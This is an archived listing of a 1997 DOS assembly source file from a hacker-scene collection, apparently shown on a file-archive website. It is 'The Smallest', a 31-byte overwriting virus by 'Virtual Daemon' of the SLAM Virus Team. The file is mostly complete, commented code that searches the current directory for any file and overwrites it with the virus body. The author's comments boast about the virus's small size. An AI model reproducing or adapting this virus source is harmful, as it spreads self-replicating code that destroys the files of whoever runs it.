home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / VIRDCOLL.ZIP / SMAL#1.ZIP / SMAL#1.ASM next >
Assembly Source File  |  1997-07-26  |  2KB  |  42 lines

  1. ; Virus Name: The Smallest (cool name, ha'? :)
  2. ; Virus Author: Virtual Daemon
  3. ; Virus Group: SLAM Virus Team
  4. ; Virus Size: 31 Bytes
  5. ; Creation Time: about 3 min (original) + a little update (1 min)
  6. ;
  7. ;  Some info: This is the smallest virus in the world (at this point) which
  8. ; return to DOS prompt after infection. It doesn't put you computer
  9. ; in an infinite loop when infecting. That's why I think this is the
  10. ; smallest overwritting working virus in the world.
  11. ;
  12. ;  Well, dear Admiral Bailey I DID IT!!! :) No hard feelings... ;)
  13. ; I know that we're in 1997 (not in 1992) but what'a fuck?
  14. ; Btw: I don't do shit stuff like this all day... I just un-packed a YAM
  15. ; magazine and I saw "The Smurf virus", so...
  16. ;
  17. ; About the virus: - runtime overwritting virus
  18. ;                  - infect 1 file (of any kind) from current directory
  19. ;
  20. .model tiny
  21. .code
  22.    org 100h             ;COM file
  23. start:
  24.    mov ah,4eh           ;find first file
  25.    lea dx,filespec      ;what kind of files to search for
  26.    mov cl,20h           ;cx=attribute
  27.    int 21h
  28.  
  29.    mov ax,3d02h         ;open the file for reading & writting
  30.    mov dx,9eh           ;get file name from DTA
  31.    int 21h
  32.    xchg bx,ax           ;save file handle in BX (stupid DOS... :)
  33.  
  34.    mov ah,40h           ;write the virus to file
  35.    lea dx,start         ;begin with 100h
  36.    dec cx               ;size of virus
  37.    int 21h
  38.  
  39.    ret                  ;return
  40. filespec   db '*.*',0   ;we'll be looking for this kind of files
  41. end start
  42.